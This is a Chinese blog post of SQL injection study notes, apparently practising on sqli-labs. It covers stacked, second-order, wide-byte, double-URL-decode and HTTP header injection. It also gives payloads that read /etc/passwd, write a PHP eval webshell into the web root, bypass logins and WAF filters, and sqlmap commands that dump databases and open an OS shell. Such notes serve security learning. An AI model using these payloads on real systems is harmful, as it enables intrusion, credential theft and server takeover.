更新类的注入也可以适用HTTP头部注入(只要字段可以提交给数据库就可注入)

堆叠注入

在sql语句中,分号代表着一句语句的结束;堆叠注入可以一次性执行任意多条语句

对于php 使用堆叠注入前提:使用面向对象的multi_query()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pjSgXBDs-1663688210972)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20220907153212826.png)]

SELECT * FROM users WHERE id=1   ;UPDATE users SET `password`='dududu';
SELECT * FROM users WHERE id='1 ';UPDATE users SET `password`='xxxxxx';' '

!!!堆叠注入可以写入木马!!!

二次注入

二阶注入漏洞是一种web应用程序中广泛存在的安全漏洞形式。相比一阶注入。二阶注入更难被发现,但危害也更大

  • 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令
  • 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  • 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  • 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
  • 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

二次注入就是由于数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后与第二次提交请求时组合,构成一条新的sql语句被执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4AAWrYvj-1663688210972)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20220907154717883.png)]

1、首先新建一个用户 admin '#

2、修改用户密码 修改的是admin的密码

宽字节注入

前提:GBK编码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CVhJN6r0-1663688210973)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20220907154941375.png)]

addslashes函数,在单引号’、双引号"、反斜线\和NULL前面加上\

空格 %20 ’ %27 # %23 \ %5C

' -> \'    %5C%27 逃逸:加%df %df 
' -> %df\'  %df%5C%27  GBK编码两个字符看作为一个汉字%df%5C 
						%df和\结合一个GBK文字,'逃逸出来
select * from users where id=1 # 输入' 转义成 \'

URL解码注入

只要字符被转换理论上就存在注入的可能。%2526

(img-R6jOx71c-1663688210974)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20220907200742826.png)]

原理:提交web参数的时候,浏览器自动对url进行一次解码 如果提交的是 id=1%2527,会被解析为 id=1%27,此时如果还使用了urldecode函数 进行二次解码 id=1’ 造成注入

HTTP头注入

绝大部分的网站都会采集用户的信息,当明面上的输入都被防注入时可以考虑http头部注入,如果要采集,referer和user-agent必然被收集,配合error注入

产生注入的条件:

  • 能够对请求头消息修改
  • 修改的请求头信息能够插入数据库
  • 数据库没有对输入的请求信息的过滤

User-Agent注入

User-Agent::使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。

sqli-labs less-18为例子,dumb,0

1、判断注入点

user-agent后面加入 ’ 确定是否存在sql注入

2、获得数据库名

cookie注入

cookie:服务器端用来记录客户端状态得参数。服务器端产生,保存在浏览器中

sqli-labs less-20为例

1、判断注入点

先登录账号 dumb–0,

2、获得数据库名

Referer注入

sqli-labs less-19

Referer:用来告诉服务器该网页是从哪个网页链接过来得,

1、判断注入点

2、正常处理…

X-Forwarded-For注入

X-Forwarded-For(XFF):用来识别客户端最原始的ip地址

PHP获取HTTP头部字段 $_SERVER

$_SERVER['HTTP_ACCEPT_LANGUAGE']//浏览器语言 
$_SERVER['REMOTE_ADDR'] //当前用户 IP 。 
$_SERVER['REMOTE_HOST'] //当前用户主机名 
$_SERVER['REQUEST_URI'] //URL
$_SERVER['REMOTE_PORT'] //端口。 
$_SERVER['SERVER_NAME'] //服务器主机的名称。 
$_SERVER['PHP_SELF']//正在执行脚本的文件名 
$_SERVER['argv'] //传递给该脚本的参数。 
$_SERVER['argc'] //传递给程序的命令行参数的个数。 
$_SERVER['GATEWAY_INTERFACE']//CGI 规范的版本。 
$_SERVER['SERVER_SOFTWARE'] //服务器标识的字串 
$_SERVER['SERVER_PROTOCOL'] //请求页面时通信协议的名称和版本 
$_SERVER['REQUEST_METHOD']//访问页面时的请求方法 
$_SERVER['QUERY_STRING'] //查询(query)的字符串。 
$_SERVER['DOCUMENT_ROOT'] //当前运行脚本所在的文档根目录 
$_SERVER['HTTP_ACCEPT'] //当前请求的 Accept: 头部的内容。 
$_SERVER['HTTP_ACCEPT_CHARSET'] //当前请求的 Accept-Charset: 头部的内容。 
$_SERVER['HTTP_ACCEPT_ENCODING'] //当前请求的 Accept-Encoding: 头部的内容 
$_SERVER['HTTP_CONNECTION'] //当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。 
$_SERVER['HTTP_HOST'] //当前请求的 Host: 头部的内容。 
$_SERVER['HTTP_REFERER'] //链接到当前页面的前一页面的 URL 地址。 
$_SERVER['HTTP_USER_AGENT'] //当前请求的 User_Agent: 头部的内容。 
$_SERVER['HTTPS']//如果通过https访问,则被设为一个非空的值(on),否则返回off 
$_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。 
$_SERVER['SERVER_ADMIN'] #管理员信息 
$_SERVER['SERVER_PORT'] #服务器所使用的端口 
$_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。 
$_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。 
$_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面需要指向自己时非常有用。 
$_SERVER['PHP_AUTH_USER'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。 
$_SERVER['PHP_AUTH_PW'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。 
$_SERVER['AUTH_TYPE'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型
$_SERVER['HTTP_X_FORWARDED_FOR'] # x-forw

文件读写

读写权限确认

# 查看MySQL全局变量配置
SHOW GLOBAL variables LIKE '%secure%';
'
secure_file_priv 空 任意读写
secure_file_priv 指定目录 仅允许规定路径下读写
secure_file_priv null 禁止读写
'

读取文件

select load_file("/etc/passwd"); -- 先读取常规文件 确定是否可以读取 ran

?id=-11 union select 1,2,load_file("/opt/lampp/htdocs/php/common.php"),4,5,6 from information_schema. tables#

写入文件

一般网站都会存在上传文件,所以肯定会开启权限的

?id=-11 union select 1,2,'hello',4,5,6 into outfile "/opt/lampp/htdocs/php/xx"
# 上传小马 P!ST -> POST
?id=-11 union select 1,2,"<?php @eval($_P!ST['cmd'];)?>",4,5,6 into outfile '/opt/lampp/htdocs/php/muma.php'

绕过思路

万能密码

where username='{$username}' and password='{$password}'
-- 万能密码
' or 1 #
" or 1 #

过滤空格

1 'or '1' = '1  
1'||'1'='1   # 如果不允许空格 &&表示 and
select username from user
select(username)from(user)

hex转十六进制

select hex('/etc/passwd')

WAF绕过

# 双写绕过
seleselectct

# 大小写绕过
SelecT

# 编码绕过
bases64 ASCII hex
select concat('sele','c',char(123))
# 特殊字符绕过
-- 空格:/**/ %20 %a0 %0d %09 %0c
-- and:&& or:||
-- 内联注释
-- 不允许 union select
-- 00截断 se%00lect
-- 空格被过滤可以使用/**/或者()绕过
-- =号被过滤可以用like来绕过
3:substring与mid被过滤可以用rightleft来绕过

注入工具:sqlmap

SQLMap脱库

可以完成注入点的发现、数据库类型确认、webshell权限和路径的确认、脱库等。测试的payload分为五个等级:level1-level5 payload从少到多 --leval = num 设置level

1、发现诸如点分析

sqlmap -u "URL" --batch # --batch参数一次性运行完 不会中途询问 适合非交互模式

2、查看所有数据库

sqlmap -u "URL" --dbs

3、查看当前使用的数据库

sqlmap -u "URL" --current-db

4、已知数据库,对数据库进行查询

sqlmap -u "URL" --tables -D "current_db"

5、已知表名,对表的列名进行查询

sqlmap -u "URL" --columns -T 'table_name' -D 'current_db' 

6、已知列名,对具体值进行查询

sqlmap -u "URL" --dump -C "column_name1,2,..." -T 'table_name' -D 'current_db'

7、直接指定数据库类型,节省检测时间

sqlmap -u "URL" --dbs=mysql

8、判断是否为DBA

sqlmap -u URL --dbms=mysql --is-dba

9、请求是POST请求 需要cookie

  1. burp捕捉post请求,将请求保存到文件 post.txt -p 指定注入的参数名 不指定对所有参数进行尝试注入

  2. sqlmap -r ./post.txt -p id --cookie="xxx" --dbs --batch
    

OS-shell

整个过程分为三个部分

  1. 猜测网站绝对路径
  2. 尝试写入木马
  3. 获取到shell命令行
sqlmap  -u URL --dbms=mysql --os-shell

手工写入文件

# 读取服务器上的文件
sqlmap -u URL --dbms=mysql --file-read "/etc/passwd"

# 不能自动注入木马 手动注入
sqlmap -u URL --dbms=mysql --file-write "/opt/mm.php" --file-dest '/opt/lampp/htdocs/php/mm.php'
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值